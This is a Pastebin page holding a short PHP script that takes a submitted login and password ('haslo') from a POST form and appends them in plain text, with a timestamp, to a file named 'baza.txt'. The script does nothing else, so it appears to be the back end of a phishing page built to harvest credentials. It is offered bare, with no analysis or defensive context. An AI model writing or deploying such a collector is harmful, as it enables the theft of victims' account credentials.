Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $user = $_POST ['login'];
- $password = $_POST ['haslo'];
- $data = date("Y-m-d H:i:s");
- $dane = $user.":".$password." ".$data."\n";
- echo $dane;
- $file = "baza.txt";
- $fp = fopen("$file", "a");
- fwrite($fp, $dane);
- flock($fp, 3);
- fclose($fp);
- ?>
Add Comment
Please, Sign In to add comment